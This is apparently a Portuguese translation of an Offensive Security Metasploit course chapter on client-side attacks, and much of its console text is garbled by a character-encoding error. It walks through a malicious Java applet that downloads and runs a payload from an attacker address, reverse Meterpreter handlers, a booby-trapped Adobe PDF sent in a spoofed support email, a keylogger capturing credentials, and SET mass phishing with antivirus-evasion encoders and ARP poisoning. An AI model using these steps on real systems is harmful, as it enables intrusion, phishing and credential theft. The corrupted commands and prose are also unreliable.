; Offensive %ecurit< =..> ?raduzido por @afael ?orres

mundo real, um pentester pode tentar adicionar algum v5deo, 4ogos de #eb bro#ser, ou em outras atividades para distrair ou distrair a v5tima. *lever tru(ues de engen aria social, como pode ser de grande benef5cio deste tipo de ata(ue, direcionando seus ob4etivos para uma 9@G espec5fica e dizendo&l es para aceitar o aviso de segurana para continuar a ver o seu site ou usar o seu 1*ustom %ecure applet E!1. 8oc tambm pode ter cargas diferentes em diferentes pastas 7 espera de clientes diferentes. 3igite o comando abaiAo como uma lin a cont5nua e no se es(uea de mudar KCCCCK para atacar o seu endereo E2.
rootS+t=:,0entest,ex0loits,frame%or1A,T e .o "`a00let %i$t.?'1' .ei*.t?'1' ar .i-e?'Si*ne$MSL m$5Gar'2" 2 ,-ar,%%%,in$ex5.tml o$e?'MSL m$5 lass'

rootS+t=:,0entest,ex0loits,frame%or1A,T e .o "`0aram name?'first' -alue?' m$5exe , e .o Donst a$Ty0eBinary ? 1 2 D:U%in$o%sUa0sou5-+s b e .o Donst a$Sa-eDreateO-er#rite ? ! 22 D:U%in$o%sUa0sou5-+s b e .o Eim BinaryStream 22 D:U%in$o%sUa0sou5-+s b e .o Set BinaryStream ? DreateO+Ge t("AEOEB5Stream") 22 D:U%in$o%sUa0sou5-+s b e .o BinaryStream5Ty0e ? a$Ty0eBinary 22 D:U%in$o%sUa0sou5-+s b e .o BinaryStream5O0en 22 D:U%in$o%sUa0sou5-+s b e .o BinaryStream5#rite BinaryGet&RL(#s ri0t5Ar*uments(@)) 22 D:U%in$o%sUa0sou5-+s b e .o BinaryStream5Sa-eToLile #s ri0t5Ar*uments(1)B a$Sa-eDreateO-er#rite 22 D:U%in$o%sUa0sou5-+s b e .o Lun tion BinaryGet&RL(&RL) 22 D:U%in$o%sUa0sou5-+s b e .o Eim Htt0 22 D:U%in$o%sUa0sou5-+s b e .o Set Htt0 ? DreateO+Ge t("#inHtt05#inHtt0Request5(51") 22 D:U%in$o%sUa0sou5-+s b e .o Htt05O0en "G'T"B &RLB Lalse 22 D:U%in$o%sUa0sou5-+s b e .o Htt05Sen$ 22 D: %in$o%sUa0sou5-+s b e .o BinaryGet&RL ? Htt05Res0onseBo$y 22 D:U%in$o%sUa0sou5-+s b e .o 'n$ Lun tion 22 D:U%in$o%sUa0sou5-+s b e .o Set s.ell ? DreateO+Ge t("#S ri0t5S.ell") 22 D:U%in$o%sUa0sou5-+s b e .o s.ell5Run "D:U%in$o%sUmy5exe" 22 D:U%in$o%sUa0sou5-+s b start D:U%in$o%sUa0sou5-+s .tt0:,,K5K5K5K,my5exe D:U%in$o%sUmy5exe'2 `,a00let2" 22 ,-ar,%%%,in$ex5.tml

8amos tambm adicionar uma mensagem solicitando (ue o usurio a aceitar a nossa applet malicioso.
rootS+t=:,0entest,ex0loits,frame%or1A,T e .o "" 22 ,-ar,%%%,in$ex5.tml rootS+t=:,0entest,ex0loits,frame%or1A,T e .o ""lease %ait5 #e a00re iate your +usiness5 T.is 0ro ess may ta1e a %.ile5" 22 ,-ar,%%%,in$ex5.tml rootS+t=:,0entest,ex0loits,frame%or1A,T e .o "To -ie% t.is 0a*e 0ro0erly you must a t.e a00let5 #e are sorry for any in on-enien e5 " 22 ,-ar,%%%,in$ex5.tml e0t an$ run

Agora precisamos configurar o multi !etasploit D manipulador para ouvir as tentativas de coneAo dos clientes. Estaremos aguardando por uma s ell reverso do destino na porta --I. Esta porta associada com )??2% de trfego e mais fire#alls organiza6es permitirem o trfego interno deiAando suas redes. *omo antes, mudar a CCCC Kpara seus atacantes endereo E2.
msf 2 use ex0loit,multi,.an$ler msf ex0loit(.an$ler) 2 set 'xitOnSession false 'xitOnSession ?2 false msf ex0loit(.an$ler) 2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(.an$ler) 2 set LHOST K5K5K5K LHOST ?2 K5K5K5K msf ex0loit(.an$ler) 2 set L"ORT ==A L"ORT Q2 ==A msf ex0loit(.an$ler) 2 sa-e Sa-e$ onfi*uration to: ,root,5msfA, onfi* msf ex0loit(.an$ler) 2ex0loit 3G 789 'x0loit runnin* as +a 1*roun$ Go+5 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Huando uma v5tima navega em nosso site e aceitar o aviso de segurana, a carga !eterpreter corre e liga de volta ao nosso andler ..

msf ex0loit(.an$ler) 2 789 Sen$in* sta*e (H16AA) +ytes) 789 Meter0reter session 1 o0ene$ (A5A5A5A:==A 32 T5T5T5T:===HH) msf ex0loit(.an$ler) 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2 0s "ro ess list ???????????? ";E <ame "at. 333 3333 3333 !@= Gus .e$5exe D:U"ro*ramLilesURa-aUGre)U+inUGus .e$5exe !66 tfmon5exe D:U#;<EO#SUsystemA!U tfmon5exe H== smss5exe USystemRootUSystemA!Usmss5exe 41! %inlo*on5exe D:U#;<EO#SUsystemA!U%inlo*on5exe 4H! ser-i es5exe D:U#;<EO#SUsystemA!User-i es5exe 46= lsass5exe D:U#;<EO#SUsystemA!Ulsass5exe 11H) s- .ost5exe D:U#;<EO#SUsystemA!Us- .ost5exe 1!() Ga-a5exe D:U"ro*ram LilesURa-aUGre)U+inUGa-a5exe 1A)@ s- .ost5exe D:U#;<EO#SUSystemA!Us- .ost5exe 1)=@ s0ools-5exe D:U#;<EO#SUsystemA!Us0ools-5exe 1H1! 'x0lorer5'K' D:U#;<EO#SU'x0lorer5'K' 16H! Gqs5exe D:U"ro*ram LilesURa-aUGre)U+inUGqs5exe !=1! my5exe D:U%in$o%sUmy5exe A@(! iex0lore5exe D:U"ro*ram LilesU;nternet 'x0lorerUiex0lore5exe meter0reter 2

*omo nota final, se voc tiver problemas para o acesso, garantir (ue os ar(uivos 4&<X5indo5sXapso36'bs4 and 4&<X5indo5sX!76e"e4 0o eAistem em seu alvo. %e voc tentar re&eAplorar este cliente no ser capaz de iniciar corretamente o script vbs. %e voc ainda estiver enfrentando problemas e (ue ten a garantido os ar(uivos acima no esto no sistema, por favor verifi(ue as seguintes localiza6es no registro e fazer as altera6es necessrias. /ta t = 3n < e$edit

na-i*ate to: HXLMUSoft%areU"oli iesUMi rosoftU#in$o%sUDurrentJersionU;nternet Settin*sUSe urity>HXLM>only .an*e -alue to: @

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

na-i*ate to: HXLMUSoft%areUMi rosoftU#in$o%sUDurrentJersionU;nternet Settin*sU]onesUAULla*s li 1 Ee imal .an*e -alue to A na-i*ate to: HXLMUSoft%areUMi rosoftU#in$o%sUDurrentJersionU;nternet Settin*sU]onesUAU ma1e ne% $%or$ %it. t.e name 1D@@ -alue in .ex 1@@@@ na-i*ate to: HXD&USoft%areUMi rosoftU#in$o%sUDurrentJersionU;nternet Settin*sU]onesUAULla*s li 1 Ee imal .an*e -alue to A

Agora n/s devemos fec ar o regedit e iniciar ou reiniciar o EE e as novas configura6es devem ser aplicadas.

4&ient Si#e Attac5s


*omo 4 discutimos, !etasploit tem muitos usos e outra, vamos discutir a(ui o ata(ue do lado do cliente. 2ara mostrar o poder de como !%" podem ser usados em ata(ues do lado do cliente, vamos utilizar uma ist/ria. 0o mundo da segurana, engen aria social tornou&se um vetor de ata(ue cada vez mais utilizado. !esmo (ue as tecnologias esto mudando, uma coisa (ue parece permanecer o mesmo a falta de segurana com as pessoas. 3evido a isso, a engen aria social tem um grande t/pico 1(uente1 no mundo da segurana o4e. Em nosso primeiro cenrio o nosso atacante vem fazendo um monte de recol a de informa6es usando ferramentas como o !etasploit "rame#or$, !altego e outras ferramentas para recol er endereos de e&mail e informa6es para lanar um ata(ue de engen aria social do lado do cliente sobre a v5tima. 3epois de um mergul o dumpster sucesso e raspagem de e&mails a partir da #eb, ele gan ou duas peas&c ave da informao. T, Eles usam 1!el or1 *omputadores para os servios tcnicos. =, O departamento de ?E tem um endereo de e&mail de itdeptbvictim.com Hueremos gan ar o s ell no computador departamentos de ?E e eAecutar um logger c ave para obter sen as, intel ou (ual(uer outro petisco suculento de informao. *omeamos a nossa carga msfconsole. 3epois (ue so carregados (ueremos criar um 23" malicioso (ue vai dar 7 v5tima uma sensao de segurana em abri&lo. 2ara fazer isso, ele deve aparecer legit, ter um t5tulo (ue realista, e no ser marcada pelo anti&v5rus ou outro soft#are de segurana alerta.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0/s estamos indo estar usando util.printf o Adobe @eader K+,K funo Zava%cript %tac$ Puffer Overflo# 8ulnerabilit< Adobe @eader propenso a uma vulnerabilidade de buffer overflo# baseado em pil a por(ue o aplicativo no eAecutar verifica6es de limites ade(uados em dados fornecidos pelo usurio. 9m invasor pode eAplorar essa (uesto para eAecutar c/digo arbitrrio com os privilgios do usurio (ue est eAecutando a aplicao ou fal a do pedido, negando servio a usurios leg5timos. Ento, vamos comear criando nosso ar(uivo 23" malicioso para uso neste ata(ue do lado do cliente.
msf 2 use ex0loit,%in$o%s,fileformat,a$o+e>util0rintf msf ex0loit(a$o+e>util0rintf) 2 set L;L'<AM' BestDom0uters3&0*ra$e;nstru tions50$f L;L'<AM' ?2 BestDom0uters3&0*ra$e;nstru tions50$f msf ex0loit(a$o+e>util0rintf) 2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(a$o+e>util0rintf) 2 set LHOST 14!51)65651!6 LHOST ?2 14!51)65651!6 msf ex0loit(a$o+e>util0rintf) 2 set L"ORT ==(( L"ORT ?2 ==(( msf ex0loit(a$o+e>util0rintf) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 L;L'<AM' O&T"&T"ATH Durrent Settin* 333333333333333 BestDom0uters3&0*ra$e;nstru tions50$f ,0entest,ex0loits,frame%or1A,$ata,ex0loits Require$ 33333333 yes yes Ees ri0tion 33333333333 T.e file name5 T.e lo ation of t.e file5

"ayloa$ o0tions (%in$o%s,meter0reter,re-erse>t 0): <ame 3333 'K;TL&<D LHOST L"ORT Durrent Settin* 333333333333333 0ro ess 14!51)65651!6 ==(( Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 A$o+e Rea$er -6515! (#in$o%s K" S"A 'n*lis.)

9ma vez (ue temos todas as op6es configuradas do 4eito (ue (ueremos, corremos 1eAploit1 para criar o nosso ar(uivo malicioso.
msf ex0loit(a$o+e>util0rintf) 2 ex0loit 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Dreatin* 'BestDom0uters3&0*ra$e;nstru tions50$f' file555 789 Generate$ out0ut file ,0entest,ex0loits,frame%or1A,$ata,ex0loits,BestDom0uters3 &0*ra$e;nstru tions50$f 789 'x0loit om0lete$B +ut no session %as reate$5 msf ex0loit(a$o+e>util0rintf) 2

Assim, podemos ver (ue o nosso ar(uivo pdf foi criado em um sub&diret/rio de onde estamos. Ento, vamos copi&lo para o nosso diret/rio D tmp por isso mais fcil de localizar mais tarde na ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

nossa eAplorao. Antes de enviar o ar(uivo malicioso nossa v5tima preciso criar um listener para capturar essa ligao inversa. 9saremos msfconsole montar o nosso ouvinte multi manipulador.
msf 2 use ex0loit,multi,.an$ler msf ex0loit(.an$ler) 2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(.an$ler) 2 set L"ORT ==(( L"ORT ?2 ==(( msf ex0loit(.an$ler) 2 set LHOST 14!51)65651!6 LHOST ?2 14!51)65651!6 msf ex0loit(.an$ler) 2 ex0loit 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555

Agora (ue o nosso ouvinte est esperando para receber sua carga maliciosa, temos de entregar esta carga para a v5tima e (ue em nossa coleta de informa6es (ue obtivemos o endereo de email do departamento de ?E, vamos utilizar um script c amado sendEmail pouco 'til para entregar essa carga para o v5tima. *om um $ung&fu de uma lin a, podemos aneAar o 23" malicioso, use (ual(uer servidor %!?2 (ue (ueremos e escrever um e&mail bastante convincente a partir de (ual(uer endereo (ue (uiser ....
rootS+t=:aT sen$'mail 3t it$e0tS-i tim5 om 3f te .su00ortS+est om0uters5 om 3s 14!51)65651A1 3u ;m0ortant &0*ra$e ;nstru tions 3a ,tm0,BestDom0uters3&0*ra$e;nstru tions50$f Rea$in* messa*e +o$y from STE;< +e ause t.e '3m' o0tion %as not use$5 ;f you are manually ty0in* in a messa*e: 3 Lirst line must +e re ei-e$ %it.in )@ se on$s5 3 'n$ manual in0ut %it. a DTRL3E on its o%n line5 ;T Ee0tB #e are sen$in* t.is im0ortant file to all our ustomers5 ;t ontains -ery im0ortant instru tions for u0*ra$in* an$ se urin* your soft%are5 "lease rea$ an$ let us 1no% if you .a-e any 0ro+lems5 Sin erelyB Best Dom0uters Te . Su00ort Au* != 1H:A!:(1 +t= sen$'mail71A1==9: Messa*e in0ut om0lete5 Au* != 1H:A!:(1 +t= sen$'mail71A1==9: 'mail %as sent su essfully/

*omo podemos ver a(ui, o script permite colocar (ual(uer "@O! +&f, o endereo, (ual(uer ?O +&t,, endereo, (ual(uer %!?2 +&s, servidor, bem como t5tulos +&u, e nosso apego malicioso +&a ,. 9ma vez (ue n/s fazemos tudo isso e pressione enter, podemos digitar (ual(uer mensagem (ue (ueremos, em seguida, pressione *?@G X 3 e este ir enviar o email para a v5tima. Agora na m(uina da v5tima, o nosso funcionrio do 3epartamento de ?E est comeando a para o dia e registrando em seu computador para verificar seu e&mail. Ele v o documento muito importante e copia&o para seu des$top, como ele sempre faz, para (ue ele possa verificar isso com seu programa anti&v5rus favorito.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

*omo podemos ver, ele passou com distino, para (ue os admin (ue est disposta a abrir esse ar(uivo com rapidez aplicar essas atualiza6es muito importante. Ao clicar no ar(uivo abre Adobe, mas mostra uma 4anela acinzentado (ue nunca revela um 23". Em vez disso, os atacantes na m(uina (ue revelado ....
789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555 789 Sen$in* sta*e (H16AA) +ytes) session789 Meter0reter session 1 o0ene$ (14!51)65651!6:==(( 32 14!51)65651A@:=4A!!) meter0reter 2

?emos agora um escudo em seu computador atravs de um ata(ue mal&intencionado do lado do cliente 23". Q claro (ue seria sensato neste momento mover o s ell de um processo diferente, por isso, (uando eles matam Adobe no perdemos o nosso escudo. Em seguida, obter informa6es do sistema, inicie um logger c ave e continuar a eAplorao da rede.
meter0reter 2 0s "ro ess list ???????????? ";E 333 6(! 1A@6 1(!@ !16= !14) A1H) A=(! <ame 3333 tas1en*5exe E%m5exe ex0lorer5exe JM%areTray5exe JM%are&ser5exe iex0lore5exe A roR$A!5exe "at. 3333 D:U#in$o%sUsystemA!Utas1en*5exe D:U#in$o%sUsystemA!UE%m5exe D:U#in$o%sUex0lorer5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areTray5exe D:U"ro*ram LilesJM%areUJM%are ToolsUJM%are&ser5exe D:U"ro*ram LilesU;nternet 'x0lorerUiex0lore5exe D:U"ro*ram LilesUA$o+eRea$er 65@URea$erA roR$A!5exe

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 mi*rate 1(!@ 789 Mi*ratin* to 1(!@555 789 Mi*ration om0lete$ su

essfully5

meter0reter 2 sysinfo Dom0uter: OLLS'D3"D OS : #in$o%s Jista (Buil$ )@@@B )5 meter0reter 2 use 0riLoa$in* extension 0ri-555su ess5

meter0reter 2 1eys an>start Startin* t.e 1eystro1e sniffer555 meter0reter 2 1eys an>$um0 Eum0in* a0ture$ 1eystro1es555 Su00ortB ; trie$ to o0en ti .is file !3A times %it. no su ess5 ; e-en .a$ my a$min an$ DLO tru y itB +ut no one an *et it to 0 o0en5 ; turne$ on t.e rmote a ess ser-er so you an lo* in to fix our 0 t.is 0ro+lem5 Our user name is a$min an$ 0ass%or$ for t.at session is 1!A=()5 Dall or eme ail %.en you are $one5 T.an1s ;T Ee0t meter0reter 2

Socia&-En'ineerin' Too&5it
O ?ool$it %ocial&Engen aria +%E?, foi pro4etado por 3avid Uenned< +@eGTU,, e incorpora muitos ata(ues 'til de Engen aria %ocial tudo em uma interface simples. O ob4etivo principal do %E? automatizar e mel orar em muitos dos ata(ues de engen aria social l fora. *omo pentesters de engen aria social muitas vezes uma prtica (ue muitas pessoas no eAecutam. 8oc pode baiAar o ?ool$it %ocial, Engen aria atravs da subverso, basta digitar isso no Pac$ J ?rac$ -L s'n co 9ttp<//s'n6t9epentest6co!/social>en$inee in$>toolkit/ /#T/ A beleza com a verso atual do %E? (ue no re(uer (uais(uer m/dulos p<t on eAterno, ento tudo (ue voc precisa fazer para a(uec&la L
rootS+t=:,.ome,reli1T $ S'T, rootSss$a-e+t=:,.ome,reli1,S'TT 5,set 73339 T.e So ial 'n*ineerin* Tool1it (S'T) 73339 #ritten +y Ea-i$ Xenne$y (ReL1X) 73339 Jersion: @51 Al0.a 73339 73339 73339

#el ome to t.e So ial 'n*ineerin* Tool1itB your one3sto0 s.o0 for all of your so ial en*ineerin* nee$s5 Sele t from t.e menu on %.at you %oul$ li1e to $o: 15 !5 A5 =5 (5 Automati '3Mail Atta 1s #e+site Atta 1s &0$ate t.e Metas0loit Lrame%or1 Hel0 'xit t.e Tool1it .oi e:

'nter your

0ote&se (ue esta uma verso alp a do %E? muito e pro4etado para ser lanado com o lanamento do Huadro %ocial, Engen aria + ttpLDD###.social&engineer.org,. %e voc observar, o formato geral ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

do %E? muito semel ante ao do menu interativo "ast&?rac$. Esso foi intencional, uma vez (ue provavelmente se tornar um m/dulo no "ast&?rac$, eventualmente. *enrio T 8oc est alve4ando uma organizao e tm usado ferramentas de c/digo aberto, Ooogle, e outros, e foram capazes de eAtrair I. endereos de e&mail. 8oc dese4a enviar uma eAploso de e&mails para estas pessoas, na esperana de (ue eles vo abrir o aneAo e, finalmente, d&l e acesso ao sistema. A primeira coisa (ue voc precisa fazer criar uma lista de endereos de email no formato abaiAoL bob;e"a!ple6co! Zoe;e"a!ple6co! Zane;e"a!ple6co! Zos9;e"a!ple6co! 9ma vez (ue temos uma lista gerada, o fogo at %E?, criar uma carga para ligar de volta para voc, e se prepare para algumas conc as.
rootS+t=:,.ome,reli1,S'TT 5,set 73339 T.e So ial 'n*ineerin* Tool1it (S'T) 73339 #ritten +y Ea-i$ Xenne$y (ReL1X) 73339 Jersion: @51 Al0.a 73339 73339 73339

#el ome to t.e So ial 'n*ineerin* Tool1itB your one3sto0 s.o0 for all of your so ial en*ineerin* nee$s5 Sele t from t.e menu on %.at you %oul$ li1e to $o: 15 !5 A5 =5 (5 Automati '3Mail Atta 1s #e+site Atta 1s &0$ate t.e Metas0loit Lrame%or1 Hel0 'xit t.e Tool1it .oi e: 1 73339 73339 73339 73339

'nter your

73339 T.e So ial 'n*ineerin* Tool1it (S'T) 73339 #ritten +y Ea-i$ Xenne$y (ReL1X) 73339 Jersion: @51 Al0.a 73339 '3Mail Atta 1s Menu

T.is menu %ill automate file3format email atta 1s for you5 Mou %ill first .a-e to reate your o%n 0ayloa$B you an easily $o t.is +y usin* t.e "Dreate a LileLormat "ayloa$"B t.en from t.ere laun . t.e mass e3mail atta 15 15 "erform a Mass 'mail Atta 1 !5 Dreate a So ial3'n*ineerin* "ayloa$ A5 Return to Main Menu5 'nter your .oi e: 1 Eo you %ant to reate a so ial3en*ineerin* 0ayloa$ no% yes or no: yes Sele t t.e file format ex0loit you %ant5 T.e $efault is t.e "EL em+e$$e$ 'K'5 88888 M'TAS"LO;T "AMLOAES 88888

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

15 !5 A5 =5 (5 )5

A$o+e Dolla+5 olle t'mail;nfo Buffer O-erflo% A$o+e Dolla+5*et; on Buffer O-erflo% A$o+e RB;G!Ee o$e Memory Dorru0tion 'x0loit A$o+e "EL 'm+e$$e$ 'K' So ial 'n*ineerin* A$o+e util50rintf() Buffer O-erflo% Dustom 'K' to JBA (sent -ia RAR)

'nter t.e num+er you %ant (0ress enter for $efault): = Mou .a-e sele te$ t.e $efault 0ayloa$ reation5 S'T %ill *enerate a normal "EL %it. em+e$$e$ 'K'5 15 !5 A5 =5 #in$o%s #in$o%s #in$o%s #in$o%s Re-erse TD" S.ell Meter0reter Re-erse S.ell Re-erse J<D Re-erse TD" S.ell (x)=)

'nter t.e 0ayloa$ you %ant: 1 'nter t.e ;" a$$ress you %ant t.e 0ayloa$ to onne t +a 1 to you on: 1@5!115((51A@ 'nter t.e 0ort you %ant to onne t +a 1 on: ==== Generatin* fileformat ex0loit555 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Rea$in* in 'sr ,msf>atta 1s,form50$f'555 789 "arsein* 'sr ,msf>atta 1s,form50$f'555 789 "arsein* Su essfull5 789 &sin* '%in$o%s,s.ell>re-erse>t 0' as 0ayloa$555 789 Dreatin* 'tem0late50$f' file555 789 Generate$ out0ut file ,.ome,reli1,S'T,sr ,0ro*ram>Gun1,tem0late50$f "ayloa$ reation om0lete5 All 0ayloa$s *et sent to t.e sr ,msf>atta 1s,tem0late50$f $ire tory

"ress enter to return to t.e 0rior menu5 As an a$$e$ +onusB use t.e file3format 739 A 0re-ious 739 reator in S'T to reate your atta .ment5

reate$ "EL atta 1 +y S'T %as $ete te$55Eo you %ant to use t.e "EL as a 0ayloa$F

'nter your ans%er yes or no: yes So ial 'n*ineerin* Tool1it Mass '3Mailer T.ere are t%o o0tions on t.e mass e3mailerB t.e first %oul$ +e to sen$ an email to one in$i-$ual 0erson5 T.e se on$ o0tion %ill allo% you to im0ort a list an$ sen$ it to as many 0eo0le as you %ant %it.in t.at list5 #.at $o you %ant to $o: 15 '3Mail Atta 1 Sin*le 'mail A$$ress !5 '3Mail Atta 1 Mass Mailer A5 Return to main menu5 'nter your .oi e: !

#.i . tem0late $o you %ant to useF 15 !5 A5 =5 Stran*e an$ Sus0i ious Dom0uter Be.a-ior 'mail to SysA$minsB an't o0en "EL "lease O0en u0 t.is Status Re0ort 'nter your o%n messa*e .oi e: A

'nter your

T.e mass emailer %ill allo% you to sen$ emails to multi0le in$i-i$uals in a list5 T.e format is sim0leB it %ill email

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

+ase$ off of a line5 So it s.oul$ loo1 li1e t.e follo%in*: Go.n5$oeSi.aIemail5 om Gane5$oeSi.aIemail5 om %ayne5$oeSi.aIemail5 om T.is %ill ontinue t.rou*. until it rea .es t.e en$ of t.e file5 Mou %ill nee$ to s0e ify %.ere t.e file isB for exam0le if its in t.e S'T fol$erB Gust s0e ify filename5txt (or %.ate-er it is)5 ;f its some%.ere on t.e filesystemB enter t.e full 0at.B for exam0le ,.ome,reli1,i.aIemails5txt 'nter t.e 0at. to t.e file to im0ort into S'T: email5txt 'nter your GMA;L email a$$ress: reli1S*mail5 om 'nter your 0ass%or$ for *mail (it %ill not +e $is0laye$ +a 1 to you): Sent e3mail num+er: 1 Sent e3mail num+er: ! Sent e3mail num+er: A Sent e3mail num+er: = S'T 789 789 789 789 .as finis.e$ $eli-eryin* t.e emails5 Eo you %ant to setu0 a listener yes or no: yes "lease %ait %.ile %e loa$ t.e mo$ule tree555 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Startin* t.e 0ayloa$ .an$ler555

Agora (ue os e&mails foram enviados e temos o nosso ouvinte up. 8amos esperar para o outro lado para fazer o seu trabal o e cli(ue em 23".

Agora (ue o utilizador abre o 23", e apresentado com um 23" de trabal o. 8e4a abaiAoL

Em nosso Pac$ J ?rac$ - sistema eAecutando o ouvinte agora vemos o seguinteL ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 789 789 789

"lease %ait %.ile %e loa$ t.e mo$ule tree555 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Startin* t.e 0ayloa$ .an$ler555 Domman$ s.ell session 1 o0ene$ (1@5!115((51A@:==== 32 1@5!115((51=@:1@H4)

Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:UEo uments an$ Settin*sUA$ministratorUEes1to02

Outra opo para a eAplorao de outros e&mail a criao de um #eb site falso, (ue serve uma carga !etasploit e uma vez (ue eles visitam, servimos um Applet Zava 1assinada1 pela !icrosoft *orporation e, se aceitar, a nossa carga entregue. Outro eAemplo (ue podemos usar, se estamos no interior da rede um veneno A@2 cac e automtico de onde podemos ter uma v5tima %E? veneno na sub&rede e substituir todos os )@E" da v5tima com o nosso #ebsite. 9saremos este cenrio no eAemplo abaiAo entanto, apesar de envenenamento de cac e A@2 uma opo, eu recomendo a combinao cross&site scripting e uma bem trabal ada e&mail ou telefonema, a fim de lev&los a ir para o seu site.
rootS+t=:,.ome,reli1,S'TT 5,set 73339 T.e So ial 'n*ineerin* Tool1it (S'T) 73339 #ritten +y Ea-i$ Xenne$y (ReL1X) 73339 Jersion: @51 Al0.a 73339 73339 73339

#el ome to t.e So ial 'n*ineerin* Tool1itB your one3sto0 s.o0 for all of your so ial en*ineerin* nee$s5 Sele t from t.e menu on %.at you %oul$ li1e to $o: 15 !5 A5 =5 (5 Automati '3Mail Atta 1s #e+site Atta 1s &0$ate t.e Metas0loit Lrame%or1 Hel0 'xit t.e Tool1it .oi e: !

'nter your

T.e So ial 'n*ineerin* Tool1it "#e+ Atta 1" %ill reate a fa1e "0rofessional" loo1in* %e+site for you %it. mali ious Ga-a a00let o$e5 #.en you enti e a -i tim to t.e %e+site eit.er t.rou*. so ial3en*ineerin*B a KSS -ulnera+ilityB '3MailB or ot.er o0tionsB it %ill 0rom0t t.e user to say "Mes" to run t.e a00let si*ne$ +y Mi rosoft5 On e a e0te$ a 0ayloa$ %ill +e run on t.e remote system an$ exe ute$5 T.e 0ayloa$ itself %ill +e *enerate$ $ynami ally t.rou*. Metas0loit an$ t.e .an$ler an$ e-eryt.in* +e setu0 for you automati ally t.rou*. t.e S'L #e+ Atta 1 tool1it5 Eo you %is. to ontinueF y,n: y #.at 0ayloa$ $o you %ant to *enerate: <ame: 15 #in$o%s atta 1er5 !5 #in$o%s atta 1er5 A5 #in$o%s =5 #in$o%s system5 'nter S.ell Re-erse>TD" Re-erse>TD" Meter0reter Re-erse>TD" J<D ELL Bin$ S.ell Ees ri0tion: S0a%n a omman$ s.ell on -i tim an$ sen$ +a 1 to

S0a%n a meter0reter s.ell on -i tim an$ sen$ +a 1 to S0a%n a J<D ser-er on -i tim an$ sen$ +a 1 to atta 1er5 'xe ute 0ayloa$ an$ reate an a e0tin* 0ort on remote

.oi e (exam0le 13=): !

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Belo% is a list of en o$in*s to try an$ +y0ass AJ5 Sele t one of t.e +elo%B A-oi$>&TL6>tolo%er usually *ets 0ast t.em5 15 a-oi$>utf6>tolo%er !5 s.i1ata>*a>nai A5 al0.a>mixe$ =5 al0.a>u00er (5 all=>$%or$>xor )5 ount$o%n H5 fnsten->mo65 Gm0> all>a$$iti-e 45 nonal0.a 1@5 nonu00er 115 uni o$e>mixe$ 1!5 uni o$e>u00er 1A5 al0.a! 1=5 <o 'n o$in* 'nter your .oi e : !

'nter ;" A$$ress of t.e listener,atta 1er (re-erse) or .ost,-i tim (+in$ s.ell): 1@5!115((51A@ 'nter t.e 0ort of t.e Listener: ==== Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: %in$o%s,meter0reter,re-erse>t 0 Len*t.: !H= O0tions: LHOST?1@5!115((51A@BL"ORT?====B'<DOE;<G?s.i1ata>*a>nai Eo you %ant to start a listener to re ei-e t.e 0ayloa$ yes or no: yes Laun .in* Listener555 88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 Laun .in* MSLDO<SOL' on 'ex0loit,multi,.an$ler' %it. "AMLOAE?'%in$o%s,meter0reter,re-erse>t 0' Listenin* on ;": 1@5!115((51A@ on Lo al "ort: ==== &sin* en o$in*: '<DOE;<G?s.i1ata>*a>nai 88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 #oul$ you li1e to use etter a0 to AR" 0oison a .ost yes or no: yes 'tter a0 allo%s you to AR" 0oison a s0e ifi .ost an$ %.en t.ey +ro%se a siteB for e t.em to use oursite an$ laun . a sle% of ex0loits from t.e Metas0loit re0ository5 'TT'RDA" R'^&;R'E5 #.at ;" A$$ress $o you %ant to 0oison: 1@5!115((51=@ Settin* u0 t.e etter a0 filters5555 Lilter reate$555 Dom0ilin* 'tter a0 filter555 etterfilter <G3@5H5A o0yri*.t !@@13!@@= ALoR b <aGA

1! 0roto ol ta+les loa$e$: E'DOE'E EATA u$0 t 0 *re i m0 i0 ar0 %ifi f$$i tr et. 11 onstants loa$e$: JRR" OS"L GR' &E" TD" ;DM") ;DM" ""T" """o' ;" AR" $one5

"arsin* sour e file 'sr ,0ro*ram>Gun1,etter a05filter' &nfol$in* t.e meta3tree $one5 $one5 $one5

Don-ertin* la+els to real offsets

#ritin* out0ut to 'sr ,0ro*ram>Gun1,etter a05ef' 32 S ri0t en o$e$ into 1) instru tions5 Lilter

om0ile$555Runnin* 'tter a0 an$ 0oisonin* tar*et555

